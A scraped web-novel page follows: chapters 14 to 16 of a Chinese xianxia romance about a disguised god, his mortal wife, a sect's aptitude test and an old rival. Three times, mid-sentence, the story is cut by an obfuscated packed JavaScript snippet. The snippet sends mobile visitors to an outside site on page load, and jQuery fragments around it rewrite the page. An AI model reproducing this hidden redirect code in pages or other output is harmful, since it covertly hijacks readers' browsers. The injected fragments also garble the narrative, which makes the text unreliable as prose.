“业未竟,则当有罚。未成诵者,罚抄此文十遍,明日交给我。”岐晔放下课本,板着脸。他长相清俊,是公认的好看,所以更不能笑,这种时候要严厉。 一个学生举起手:“夫子,怎么知道谁没背下来?” 岐晔顿了顿,看向手里的书:“烦请诸君自省。” 教室里人人自危,都不敢说话,气氛一时凝结。岐晔沉默片刻,正要拿起书继续讲课,却见学生们都眼巴巴地望着门口。 一阵风吹过,岐晔抬头看向学堂门口,眼中带上了一丝温度,连眉梢都染上了笑意。 李安素站在学堂外,刚探出头就与他含笑的眼睛对上,错愕了好一会儿。 直到学堂下课,李安素才背着手走过去,“你怎么看见我的?为什么每次都会被你先看到?” 岐晔只笑,“很明显。”她看向他的时候,目光总是亮的。 李安素噘着嘴,靠在岐晔背上,探头看向外头,“好热啊,天气越来越热了——明天赶集,我的药材还没洗完呢。” 岐晔立刻明白了她的意思,只要不是原则性问题,他向来包容。收拾好书本,两人结伴回去。 “去睡会儿吧。” 院子里满地都是药材,还带着新鲜的泥土。他蹲下身,忽然看见刀把上沾着点血迹。 厨房里,李安素匆忙洗手,却忽然皱了下眉,她虎口的一道小伤口又裂开了,“嘶——” 身后传来脚步声,李安素赶紧装作没事,擦干净手,转身:“哎,你怎么在这儿?我去睡一会儿,饭好了叫我。” “手伸出来。”岐晔上前靠近她,下一刻已经自然地牵起她的手。 伤口被碰触,牵动着带来更多痛感。李安素拧着眉,看着专心检查伤口的岐晔,忽然起了坏心思。 “好痛啊,夫君给我吹吹。”李安素举着手,没注意到伤口又渗出血来。 “别动。”岐晔语气加重,面无表情地给她上药,“哼唧什么。” “我哪儿哼唧了!”李安素眼睛瞪得圆圆的,“岐晔!我没有哼唧!” 岐晔这才笑起来,弯腰把地上的药材一一捡起,都是些苦参、青蒿。他仔细收集起来,放进水缸里。 李安素撑着下巴,看他修长的手被井水冻得青筋显露,慢条斯理地清洗着药材上的泥土。这双手常年执笔写字,带着薄茧,也没少做家务。 李安素已经很知足了。至少成婚三年,他们无病无灾,无非就是日子清贫些。 洗完药材,岐晔才走进厨房准备做饭。谁知一掀锅盖,看见一碗已经干透的米粥,瞬间变了脸色。 李安素还不知道危险临近,亦步亦趋地跟在后面,“怎么了?是不是要做好吃的奖励我?” 她探头看去,只见岐晔双唇紧抿,这才反应过来,看向锅里已经不能吃的粥,“那个我……” 岐晔转过头来:“为什么不好好吃饭?给你留的早饭又没吃。” 李安素连忙忽悠:“那个……我今天一时间忘记了,哎呀你不说我真忘了,我还以为你没有准备呢。” 她话还没说完,岐晔已经起身走到外面去,一言不发开始切菜,一条丝瓜被他握在手里,靠在刀锋边上,手起刀落,“哒哒哒”的声音响起,丝瓜顿时被切成了薄片。 李安素脸色一变,知道他生气了。 “好了,你不要生气,我就是今天起晚了,出门的时候太着急了,你又不是不知道我今天要去王婶家里帮忙。” 李安素沉沉叹了口气,嘟着嘴:“那你有本事把我叫起来盯着我吃啊……我就是起不来。” “好。”岐晔斩钉截铁地回。 14. 伏骨剑 翌日,夫妻俩起了个大早,李安素迷糊坐在桌前,盯着忙忙碌碌收拾东西的岐晔,她摆了摆手:“听说今日是归元宗登仙大会的日子,要去青葕山脚下。” 忽地,李安素闻到了一股香味,她看向桌上,一碗小米粥放在桌角,她皱眉:“我不想吃……” 其实不是不想吃,是她想要留着肚子去早集上吃,但她又不敢说:“算了吧,我现在没胃口。” 岐晔却不打算就这么放过她:“不是说要我监督你?现在就吃。” 李安素不高兴了,把碗推开:“不吃。” 岐晔也不逼她,只是低着头,把自己那碗米粥吃了,李安素撇了撇嘴,现在连场面话都不说了。 李安素已经抬脚走到门口,却迟迟不见岐晔回来,她回过头,“到底走不走啊……抢不到好位置了我跟你说……” 话刚说完,一只手伸过来,小心翼翼避开她的伤口,与她十指紧扣,“走吧。” 岐晔一只手提着所有货物,一只手牵李安素,李安素背了个绣花小包,两人匆忙上了马车。岐晔靠在一旁,缓缓闭上眼睛假寐。 只是不吃早饭的坏处这就体现出来了,李安素面色苍白,在第无数次忍下呕吐冲动后,她偏头看向岐晔,后者不知道什么时候已经睁开眼睛,若有似无地盯着她。 李安素:“好难受……” 岐晔没理会,像是预料到了,从衣服口袋内部拿出了一个油纸包,里头是一块米糕。 李安素眼眶微红,低着头接过那油纸包,由于一直贴在男人胸口,还带着温热,她大口吃下去。 赶到青葕山脚下,人已经渐渐多了起来。 “我说了要早点吧,你非要磨磨蹭蹭……”李安素嘟哝着,跟在岐晔身后,巴巴地看着那些穿着白衣的仙家子弟。 “哇……”李安素垫着脚,“修仙派好有面子啊……” 岐晔唇角抽了抽,一只手拍了拍她的肩膀,“这边,别走错了。” 他早就发现,自己这个凡人娘子对于修仙门派有一种莫名的崇敬,是的,是崇敬,每当看见那些修仙打扮的人,都要感慨一番。 “哎,可惜我生来就是个凡人,还是没钱的凡人,那些修仙的飞来飞去多爽啊!”李安素摇着扇子,额头上都浸出了晶莹的汗珠。 “有什么好的?”岐晔觉得好笑,把药摊摆出来,摊旁支起一个小旗子,上写“天麻、益母草、苦参、青蒿”。 李安素掰着手指:“可以御剑飞行不用走路,可以随便吃东西门派里包吃包住,不用赚钱不用养家糊口不用读书写字——” 她忽然不说话了,岐晔笑盈盈接上去:“你只是懒而已。” 李安素被说中了,干脆瘫倒在摇椅上,看着沉沉的天色,云层托起一轮红日,“真羡慕那些飞来飞去的神仙,是不是可以碰到太阳月亮?” 岐晔脸色一顿,“也许吧。” 在凡间成亲三年,他每日教书做饭,都快要忘记隐居在天云涧的日子了,这三年,过得比前面几万年还漫长。 “太阳月亮都有守护神,日神和月神,不过碰不到。”岐晔回她。 “你怎么知道?”李安素坐起来,撑着手臂。 岐晔刚要说话,摊位前站了一个乌衣子弟,李安素这才收起了懒散,赶紧搓着手热情道:“这位小哥要些什么?” 那贵公子身后跟着一批仆从,场面称得上浩浩荡荡,居高临下睥睨着李安素,扫视了一圈这摊子,“你这里有多少药材?我全要了。” 李安素一愣,手里的扇子“啪嗒”掉在地上,说话都不稳了:“您、您您您全都要!好、好!我给您称称!” 岐晔不疾不徐递过来铁秤,“有天麻、益母草……您要什么?” 那贵公子不悦:“不是说了全都要吗,你听不懂是不是?” 李安素赶紧拉过岐晔,“您别和他一般见识……您可是我们的大客户……” 她抓了一把天麻,还没有动作,一道响亮的声音在耳边响起,一个五大三粗的男人走上前,“喂,先来后到懂不懂,这是我们的位置!” 李安素看了一圈,那男人身边还站了几个,她心里暗道不好,“几位大哥,咱们都是做生意的……就不要互相为难了,这样,这单生意我们一人一半!” 那男人横眉一皱:“你的意思是我为难你了?!” 李安素赶紧护住岐晔退后一步,语气渐渐不满:“喂,不是……这里本来就是我们先来的,我们天没亮就在这里!你会不会做人啊?” 李安素处事圆滑,但脾气也不小,最多装装样子,两句话就原形毕露了。 那贵公子不耐烦地敲了敲桌,他出身名门,这年头,拜师修仙是潮流,家里有点钱的都争着修炼个几年。他也不是情愿的,怕吃苦,所以带了一身金银财宝,在山脚下买了几百斤的药材。 “你们到底做不做生意?我可不管是谁卖货,给我卖就行!” 李安素反应慢了一拍,被身边的男人一推,她背靠在岐晔身上,“哎你什么意思啊!不讲道义就你还做生意?我都做了多少年药材生意了,你的药能比得上我的?!” 岐晔抬眼看向那个动手的男人,他眼神阴郁,竟把男人给唬住了。 “哟,贫贱夫妻百事哀,你们倒还挺恩爱,你这细胳膊细腿儿的夫君,能打得过我?” “他打不过你,我打得过!”李安素怒气冲冲,刚要走上去,被岐晔拉住:“算了。” 岐晔看着那男人,后者身上魔气冲天,却又是个凡人躯壳,不出几日就会死。他不想要霉运沾到李安素身上。 李安素被拉住,而另一边,那男人把她的生意全都抢走了,不满道:“你拉着我干什么,半点事业心都没有,这个窝囊……” 岐晔笑着,给她擦了擦汗:“别生气了,恶人有恶报。” 李安素叹了口气,抬眼看向岐晔的脸,顿时什么气都撒不出了。实在太俊了,她光看一眼,就觉得什么错都是自己的。 “你听说了吗,崇寿上仙今年要收徒了!”一道声音插进来,李安素立刻竖着耳朵听。 “你说的真的假的?崇寿上仙可是归元宗太上长老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427261|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,离成仙只有一步之遥,听说他已经化神了!” 李安素点了点头,“是啊是啊,怎么还收徒?” “——崇寿上仙的大弟子准备另立门户,简单来说就是已经厉害到独立修炼了。”一道声音插进来,李安素看向远处,几个白衣修者走过来,她立刻皱紧了眉头。 那语气吊儿郎当,如果不是穿着归元宗的统一修炼道服,和路边摊吃炸串的喽啰差不多,她心里修炼门派的高尚形象稍微坍塌了一点。 要说真正符合名门正派清高气质的……李安素悄悄瞥了眼岐晔,她就见过这么一个,哦,还有三年前那个道长。 几个门派子弟成群结队上前,推开那两个闲谈的弟子,“还不认真修炼,在这里议论崇寿师伯,小心你们的脑袋!” 那两个弟子十分委屈:“什、什么师伯!你们也没有拜师!我们又没有说什么不该说的!你们凭什么推人!” 一个弟子站出来:“看清楚了,这是文昭长老的伏骨剑,我等是出来取剑穗的,长眼了就快滚开!” 李安素视线立刻落在那柄剑上,黝黑的剑鞘,在眼光下竟折射出五色光芒,和那些弟子所持配剑完全不是一个东西。 “长老的剑穗还要这么多人来取啊……”李安素小声和岐晔说。 “两个外门弟子,不过是打杂的而已,还敢和师兄叫嚣,今天就让你看看外门和内门的差距!” 其中一个直接拔剑,往地上甩了一道剑气。 “咔——” 他们摊位上的桌子受不了这攻击,直接裂开,上面的药材直接掉在了泥土里,弄脏了。 李安素脸色变了变,心疼地看着桌子的裂口,已经完全不能用了,这个桌子不便宜。岐晔则是从容蹲下来,把药材捡起来,用软布擦干净。 “喂!你干什么!随意下山弄坏百姓东西师父违反门派规矩了!”两个外门弟子退了退,只好拔剑自卫。 “不成气候的东西。” 外门弟子,有些连练气都不到,内门弟子,修炼已到筑基,这两者强弱自然不能比较。 那两个弟子的剑被挑开掉在地上,而那几个弟子还没打算放过人。 “跪下来,叫声师兄听!” 进门派修炼的,都是家里条件不错的,更不用说天生的清高和风骨,现在在山下这么多人的地方被羞辱。 其中一个外门弟子愤愤道:“掌门若是知道了……” “你想太多了,掌门日理万机,你算什么东西,百江都不如。”百江是长老团养的一条灵犬。 李安素握紧了拳头,立刻被岐晔摁住,他摇了摇头。 “我们偏不!”那外门弟子看向伏骨剑,挣扎着站起来,用力一脚踹上去,伏骨剑哐当摔出去好远。 “混账,给我打!”几个人捡剑的捡剑,打人的打人,场面一时间混乱无比。 李安素原本低着头,混乱的土地上,桌子已经阵亡。她心里憋着气,忽然视线里闯进来一柄剑,她抬头,对上一个弟子。 “喂,别动!敢碰那剑你就等死吧!” 15. 根骨 李安素眼神阴郁,这群修炼弟子,明明修炼是为了降妖除魔、造福百姓,现在却在这里对她呼来喝去。 岐晔看着伏骨剑,不是什么好剑,看得出杂质颇多。那长老也不过卡在化神期好几十年,不是什么有根骨的。 “哐!”一声轻响,岐晔的心腔仿佛被什么东西叩击了,他身边一道身影弹出去。 李安素也不知道哪里来的勇气,竟然上前用力握紧了那剑柄,轻飘飘的。 几个归元宗弟子纷纷呆住,见她这么轻松就握起了这剑,要知道他们都需要双手抬着,更不要说挥起来了。 “你、你这村妇要干什么!把伏骨剑给我放下!” 李安素抿唇,她这人一身反骨,把剑对着那几个人:“你们修炼为的是降妖除魔、造福百姓,现在却在山脚下闹得我们生意都做不成!” 弟子们被她说得哑口无言。 李安素咬了咬牙,反正她这辈子和修炼也无缘,不如就看看这仙剑长什么样子。这样想着,李安素抬手握紧了剑鞘,往后一扔。 一声巨响,剑鞘在地上弹起,李安素手里的剑被擦得锃亮,折射出一缕透亮的光线,连天边的云彩都化开了。 “这……伏骨剑怎么可能是她拔得出来的?我、我们都拔不开!” 李安素冷眼望着那些人,“不、不许欺负人!给我走!” “走、走走走!”别说那几个弟子了,就连先抢生意的男人都腿软跪了下来。 李安素一愣,不知道该怎么收场了,她后知后觉看向岐晔,生怕后者嫌自己丢人了。 岐晔抿唇忍着笑,紧紧盯着李安素的身影,甚至觉得那道身影都与日齐辉。他娘子身上的力量,深不可测,是个修炼的好苗子。 “乖,把剑收进去,太危险了。”岐晔轻声哄着,从她手里接过剑,捡起剑鞘,收了进去。 归元宗弟子:“……”怎么回事,一个凡人就算了,又来一个,怎么一个两个都能轻松拿起伏骨剑? 岐晔握着伏骨剑,细看有些微微的颤抖,那剑鸣琤琤响着,躁动不止,岐晔用力握紧了些。 “你、你这凡夫俗子,对伏骨剑做了什么!” 岐晔抬手,将剑往天上一抛,扔向了弟子的方向。一个弟子抬手去接,单手握紧后,那剑重得顿时插在了土地里。 “……” “怎么回事,伏骨剑怎么出鞘了?”一道声音传来,李安素张望着,最终抬头看着头顶。 有两人御剑飞来,纷纷落在她面前,是一个白发苍苍的老者,而那老者身边站着一个蓝衣打扮的男子。 “……道长!”李安素惊喜叫了声,冲着沉锦休用力挥手,“大恩人!” 岐晔嘴角抽了抽。 崇寿上仙没理会,他看向自己那群弟子,“伏骨剑出鞘,是你们做的?” 弟子们相互对视,其中一个带头的站出来:“回长老,是我,我不小心用了点力气就……” “不是你,到底是谁?” “回长老,是、是……”一个外门弟子站出来,看向李安素,“是这位姑娘。” 李安素缩了缩脖子,担心这个长老会找自己的麻烦,谁知道后者哈哈大笑,“是你?嗯,底子不错,来山上坐一坐,测测你的根骨。” “我……我只是个卖药的。”李安素犹豫着走上前,这个长老白发苍苍,精神矍铄,和善地笑着,但她就是觉得不想接近,于是她连忙摆手退后,背靠在岐晔身上,“您还是别抬举我了,我惶恐。” “来,今日还早,上山喝茶。”可崇寿只是盯着她,眼中闪烁着精明的光。 几个配着剑的弟子走上前,而崇寿伸出手来:“请吧。” 李安素犹豫着,耳边传来一道令她安心的声音:“去吧,我和你一起。” 她不敢说,就是因为岐晔和自己在一起她才更担心,两个手无寸铁的凡人上了仙山,连自保的力量都没有。 山上空气有些冷,李安素这还是第一次登上这座高山,和村子后面那座野山不同。青葕山险峻、陡峭却又仙气缭绕,置身其中只觉得神清气爽。 她四处打量,一路上山可以看见不少在练气的弟子,越往山上走越是高阶弟子的修炼场所。 崇寿御剑飞在前方,沉锦休走在不远处,李安素悄悄用余光打量,对岐晔说:“一会儿要亲自和道长道谢才行。” 岐晔没说话,伸手理了理她凌乱的发丝。 几个人最终停在了升仙堂,一块九天玉石被供奉在高处,几个归元宗的护法将玉石取下来,齐齐看向李安素。 “请吧,这就是归元宗的镇派之宝,九天玉,普天之下只此一块,可以测根骨,当然,若是魔族也无所遁形。”崇寿捋了捋胡子,“我还缺一个弟子,不知道你有没有这个天资。” 他的语气高高在上,李安素听着,用力点头:“好、好!” 她目光闪烁地盯着那块玉石,这可是有机会让她修仙的宝贝,如果有机会进入天下五大门派之首的归元宗,那真是她的人生转折了。 沉锦休上前,解释道:“玉石遇血变色,颜色越亮越有天资,你且滴血在上面。” 崇寿笑着说:“百年以来,资质最好的就是锦休,不过我看你或许也有一点资质。” 沉锦休担忧道:“但如果是魔族,颜色就会变红色,李姑娘,你试试吧。” 岐晔视线落在那块玉石上,这块石头确实是九重天的东西,倒也确实有测验资质的能力,他点了点头,让李安素走上前。 九天玉石被擦拭得干干净净,李安素这个被崇寿长老亲自迎接上来的凡人立刻引起了注意,殿外围着一圈弟子,纷纷盯着李安素。 李安素用针戳破手指,一滴血凝结在指尖,她伸出手去。血滴落在玉石上,溅开一圈血花。 “是什么颜色?” “还没看见呢,有点慢啊……”细微的议论声从旁边传来,李安素的心也被提了起来,她闭上眼睛。 那滴血很久才被感应,上面附着着李安素的气息,玉石以肉眼可见的速度缓缓过渡成猩红色,并且还有加深的迹象。 在众人惊恐的视线中,一道仙法注入玉石中,很快,玉石的颜色暗淡下来,那抹红色渐渐褪去。 岐晔收回手,眼神凛冽。 过了好一会儿,周围传来叹息声。 崇寿脸色冷硬:“很遗憾。” 那块黑咕隆咚的玉石面前,站着手足无措的李安素。 别说亮色了,那玉石简直像是被夺舍了一般,颜色立刻暗淡了下来,她回过头,就对上岐晔带笑的视线。 “长老!我想起来了,还有她这个夫君,这个男人也碰了伏骨剑!”忽然,人群中传来一个尖锐的声音,一个弟子站出来指着岐晔。 崇寿顿了顿,这才看向岐晔,这一眼就愣住了。 他一直不拿正眼看凡人,一直没有注意到岐晔,后者穿着一身素色的衣裳,一些洗不干净的污渍在衣裳上,偏偏就是这样的一个人,周身的气质令人忽视不得。 “我吗?”岐晔收回放在李安素身上的手,摇了摇头:“我无意入门修炼。” 崇寿眯了眯眼睛,这个人给他一种强烈的熟悉感,“没有允许碰归元宗的剑器,是要处罚的,如果你的资质尚可,也能保你娘子一命。” “你说什么?我、我们只是上山坐一坐,这不是你说的吗?你们仙家怎么还两面派呢!”李安素不乐意了,她站在岐晔面前,“现在就让我们下山!我们不修这个仙了!” 崇寿眯了眯眼,看向岐晔:“你觉得呢,这样的机会对你们来说应该是此生仅此一次,娶妻生子,不过都是世俗之名罢了,若是得道成仙,还管世俗做什么?” 李安素心里一颤,她看向崇寿:“你挑拨我们夫妻关系!” 岐晔垂眸看向李安素眼底的委屈和怒火,觉得这比修仙有意思多了,他笑了下,“好。” “请吧。”沉锦休退到一旁,重新恢复白色的玉石被抬上来。 李安素拧眉,一股酸涩和纠结涌上心头。 岐晔悠哉抬手,半点没有欣喜和紧张,这玉石承受能力有限,他只能尽量收敛气息。一滴血落在玉石上,他收回手。 “怎么了?”岐晔看向不大高兴的李安素,后者偏过头不看他。 玉石这回反应很快,明亮的颜色从玉石缝隙里泄露出来,崇寿放下了手,不可置信。 “这、这颜色!”他反应过来,一抹老谋深算的笑漫上眼珠,“好苗子,是个好孩子。” 李安素:“行了吧,已经这样了,该让我们走了,我们……” 可沉锦休站在她面前,拦住她:“李姑娘,归元宗不是不讲道理的,但你不应该代替你夫君做决定。” 沉锦休看着这人,还是和当年零散的记忆一样,这两个人不相配。 “凭什么!这是我夫君!”李安素瞪大眼睛,想要去牵岐晔的手,却被归元宗弟子拦住。 岐晔与她遥遥相望,伸出去的手又收回来了。 “这位少年,你的根骨甚至在锦休之上,你难道不想试试?终日被困于柴米油盐,你甘心这样过一辈子?”崇寿语重心长道,“修仙才是人生之道,你会明白的。” “那位曾经的天地之主衡玉神尊,无情无爱,因此能名扬万年。”崇寿睁眼说道。 “你放屁!好歹是个正儿八经的修仙之人,你在这里拆散我们夫妻,我夫君才不会听——”李安素手掌握拳,抖着声音喊道。 “你说的对。”岐晔的声音令李安素呆愣在原地。 岐晔回过头也看着她,缓缓说:“不甘心,所以才要找个人一起过。” 崇寿摇了摇头,仿佛见多了这种情形,“你上山来修炼,我可以让你带着你的娘子一起住在山上,你的衣食住行都有人料理。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442394|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李安素避开那些拦路的弟子,跑到岐晔身边,紧紧抓着他的手,“喂……你别告诉我……” 她的语气在颤抖,有着她都没有察觉的恐慌,可岐晔听出来了,他回握她的手,看向崇寿:“长老,我和娘子都是普通人,没有什么大志向,请给我一点时间,我考虑一下。” 说罢,就牵着李安素往山下走。两个人各怀心思,最终是李安素忍不住了,她带着怒火偏过头去,“喂,你刚刚什么意思?” 岐晔像是才反应过来,愣了愣,“你说什么?” 李安素低头,天边的光落在她的脖颈,往脖颈里看去,还有一枚吻痕,岐晔眯起眼睛。 “你刚才是不是想要像那个老头说的,上山修炼?”李安素瞪着他。 岐晔笑了下,“老头?你原本不是想要修仙?” 李安素撇嘴,“我又没有那个天资,不过意料之中了,那个老头压根就没拿正眼瞧人,我才不稀罕。” 说完,她又不太高兴地打量岐晔一圈,凑近了嘀咕:“什么天资,怎么我就看不出来?真不公平。” 岐晔笑着凑近,任由她打量,“那娘子看看,我到底有什么天资?” 李安素红了脸推开他,两人往山下走,却听见身后传来呼唤声,是沉锦休。 李安素这人就是这样,原本还想要道谢,只是因为沉锦休拦住她就不高兴了,她有些防备,“道长有什么事?” 沉锦休从怀中取出一个玉佩,递过去,“这是师父的印玉,他说你若是想通了就直接拿着这个上山来。” 沉锦休把玉递给岐晔,后者没伸手,李安素想去接,却被躲开了。 李安素顿了顿,握了个空。 下一刻,一只手从旁边伸过来,岐晔拿过玉佩直接放在李安素手心里,才看向沉锦休:“多谢道长。” 沉锦休低头对上不善的视线,他失笑:“告辞。” “这个山上的人都莫名其妙的。”李安素来回看着那块玉佩,虽说看不出成色,但那老头给的也不可能是什么便宜货。 岐晔走在前面,“那就不待在山上,你不是说想去镇上玩?” 镇还是那个镇,不过这几年明显变化大了,酒楼、琴楼越来越多,各族人也多了起来。 比如那个头上长角的是牛怪,那个长着长舌头的是蛟族,那个脸上…… “有魔!”一个女人尖叫起来,周围瞬间散开一大片,众人都盯着中央那个黑咕隆咚的东西。 那男人蜷缩在地上,似乎没想到会被发现,他缓缓站起来,惹得周围所有人戒备。 这年头,魔族在六界的风评很不好,很多神族妖族为非作歹留下的都是魔族的名头,久而久之,魔族就背了六界最大的黑锅。 李安素立刻缩在后面,“岐晔!有魔族啊……” 岐晔垂眸,手里还举着被吃了两颗的糖葫芦,下意识揽住李安素,“别过去。” 李安素摇头。 岐晔眉眼一沉,看着那东西身上的魔气,他又想起九天玉石上散发出的猩红,那的确是红色。 “岐晔?”李安素抬手在岐晔面前晃了晃,又改口:“夫君?” 岐晔笑了下,回过神来,“怎么了?” 李安素提裙往前跑去,不远处一个糖炒栗子的摊位前人很多,她无论如何也挤不进去,回头冲岐晔招手,“快啊!” 岐晔缓缓走上前,他在想什么,他的娘子怎么可能是魔族? 一声惨叫从身后传来,那头魔兽被几个凡人直接凌迟在原地,岐晔头都不回,已经习以为常。 李安素踮着脚,“我要一份!” 这个糖炒栗子的摊依旧爆满,镇上炒货店卖的糖炒栗子实在太贵了,这个流动摊位上的糖炒栗子就火爆了起来,李安素也在其中。 “都出汗了。”岐晔拧眉,看向一旁的台阶,“你坐过去等,我给你买。” 李安素拧眉,“你说什么!?”她把手放在耳朵边上。 岐晔牵着她走到远处,让人坐在台阶上,大声说:“坐在这里,我去买,不要跑。” 李安素点头,看他的身影消失在人群中,目光始终流连在那高挑的背影上,一股难受涌上来。 她手放在身体边上,不小心碰到了什么硬的东西,玉佩掉了出来。 李安素低头,把玉佩拿在手里,忽地,一阵风刮了过来,一个瘦小的身影猛地夺过玉佩,往巷子里跑去。 李安素瞬间站起来,“喂!小偷!有小偷!” 她管不了那么多,没有这个玉佩岐晔就再也上不了青葕山了! 她奋力追上去,很快就失去了方向,她紧盯着被逼到深处的小孩,这孩子也就六七岁大,瘦巴巴的,身上还有伤口。 “还我!” 那小孩抖了抖,抬起头来,露出一张带着魔纹的脸。 李安素一愣,还是个魔族小孩。 16. 娘子 眼看着这孩子就要张嘴哭,李安素猛地冲上去捂住他的嘴:“别哭!” 她一脸无语,明明是他抢了自己的东西,她还要担心他哭,“嘘,你现在吸引别人过来,别人就会打你。” 魔族孩子听懂了,点了点头,脏兮兮的手还抓着洁白的玉佩,怯生生地开口:“我好饿,你有钱吗?” 李安素抿唇,她蹲下来,这还是第一次近距离面对魔族的孩子,“我可以给你钱,带你买吃的,但你不能这样抢别人的东西,还有,把帽子戴好,不要让别人看见你的脸。” 那孩子忍住泪,用力擦了擦,他仰头:“你和其他人不一样,为什么?” 李安素一时间无话可说,“我也讨厌魔族,但你不一样,你只是个小孩,但如果你一直抢别人的东西,我也打你。” 望着这么小的孩子,她下不去一点手,更说不出重话,她把口袋里所有的钱都塞到孩子手里,“不要再待在人间,回魔族。” 小孩点了点头,又摇头:“我爹爹不见了,我在找他。” 李安素张了张嘴,忽然听见身后传来脚步声,急促的声音令她猛地清醒,她下意识把兜帽戴在小男孩头上。 “你滚去哪里了!”一个女人站在不远处,逆着光,她看见了一个凡人和自己孩子站在一起。 那女人也是魔族的,李安素警惕起来,小孩没事,但魔族成年人她还是需要害怕的。 孩子用力跑到那女人身边,被女人好一通数落,又回头警惕地盯着李安素,最终牵着他往外走去。 李安素目送他们离开,握着手里的玉佩,这才想起岐晔。她连忙跑出巷子,走回糖炒栗子的摊位上,却已经不见了岐晔的踪影。 * “哟,小伙子,又来给娘子买糖炒栗子?”摊位老板满头大汗,一手扒拉开炒得香甜的栗子,一抬头看见是岐晔。 岐晔笑了下,“是,麻烦给我一份,要炒久一点的,她喜欢。” “好嘞!” 这一声被周围的姑娘们听见了,纷纷失落地收回视线,这样好看的男人竟然已经成亲了? 各种疑惑、迷恋、羞涩的目光在岐晔脸上来回逡巡,他已经习以为常,只盯着锅里的栗子,一颗颗爆开,露出里面焦糖色的果肉。 等到他买好栗子回过头,看向李安素原本站着的位置,却没看见那道身影。 岐晔捏着热腾腾的纸袋,慢慢走上去。他从不担心找不到她,但他不喜欢寻找的过程。 岐晔收起不悦的情绪,走到没什么人的地方,前方是乱糟糟的巷子,他嫌恶地皱紧眉头,半点没有为人丈夫的体贴温柔。 身后传来一股浑厚的仙气,他收回脚步,缓缓回过头,一个神族打扮的男人站在身后。 “好久不见。” 岐晔不善地盯着这人。他隐去所有仙气生活在凡间,这人却毫不掩饰自己的身份,还直接和他说话。 岐晔下意识环视周围,在掠过若有似无的视线后,没看见李安素的身影,才警惕道:“换个地方说话。” “神尊现在可真小心。”冷经赋耸肩,和他一同走到江边,下一刻,化成了神明相。 岐晔闭了闭眼,再度睁眼时,直接顿空,眼中闪过一丝翡翠色的微芒,仙气萦绕在他周身。 两人站在一座巨大的山涧之中,里头隐隐传出幽幽魔气。六界最大的峡谷,汾白峡,当年安愫被打败的地方。 “熟悉吗?”冷经赋转过身,笑眯眯的,但岐晔知道,这人是个笑面虎。 这六界之人对于岐晔,或是敬佩或是恐惧,唯有冷经赋不一样,他们曾经是同门,后来是对手。 岐晔嘴角抽了抽:“你前主人的坟墓,这么念旧?” 冷经赋眉眼沉下来,阴郁的神色毫不掩饰他的不屑,“她是结束了,但我还没有。六界都说你衡玉神尊怀瑾握瑜、出尘不染,我看未必。” “当年安愫的部下大多都回归了正常生活,不乏功成名就的人,你很强,大可以重新开始。”岐晔淡淡道。 但就是这副淡然的模样让冷经赋气不打一处来,他恶狠狠地开口:“那也不是我自愿的,我从始至终都是跟随自己的心意走。岐晔,你这个伪善之人,安愫和你不一样,她至少是真的为了六界公平,你不一样,你这个下三滥狗屁神尊!” “你应该很想杀了我吧,毕竟安愫被封印,就只有我知道你的真面目。” 岐晔冷然站在那里,无所谓地笑了下,“你大可以去和那些人说,看那些人会信你这个叛徒,还是我。” 岐晔脑海里奇妙地冒出一个念头——糖炒栗子快要冷了,他不想浪费时间在这无意义的对话中。 冷经赋勾唇,“我今天找你,是安愫的魂魄有下落了,你也不感兴趣?” 岐晔的脚步瞬间顿住,冷经赋满意点头,转身走向汾白峡深处。 岐晔握紧了糖炒栗子,抬手把封口系紧了,跟上去。 汾白峡当年也是修炼圣地,不过安愫在这里被打败后就一直萦绕着挥散不去的魔气,他不得不聚精会神在周身竖起屏障。 这些魔气常年无人管辖,已经成了六界的一大隐患,每年都会有不怕死的人来挑战,因此,峡谷边上堆着一圈白骨。 岐晔目不斜视踩过去,“你为什么要告诉我?” “就算我不告诉你,你也会找到她的残魂,但,她这一缕残魂比较特殊。” 岐晔没明白。 冷经赋:“这一缕残魂好巧不巧,是她当年身为凡人时的魂魄,当时的魂魄太弱小,后来成魔就被保护了起来,也是安愫七情六欲最强烈的一缕魂魄。” 岐晔和安愫都是从凡人修炼起来的神和魔,不过两人的修炼之路完全不同,一个是命中注定的天才,一个是艰难险阻的魔头。 “简单来说,就是最贪婪的一缕魂魄,她定然会去找当年最恨的人,就是你。”冷经赋偏过头,“友善”地笑了下。 岐晔:“……与我无关,如果来找我,我会直接杀了她。” 冷经赋脸色冷下来,他毫不怀疑岐晔会这样做。 “听说你在凡间找了个女人?”冷经赋换了话题,他是昨天才醒的,岐晔三年人夫时光在他眼里很短暂,“怎么了,发/春啦?” 他话音刚落,一支尖锐的冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451469|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箭刺到他的脖颈处,立刻就有了伤痕,冷经赋立刻退后,“这么在乎?” 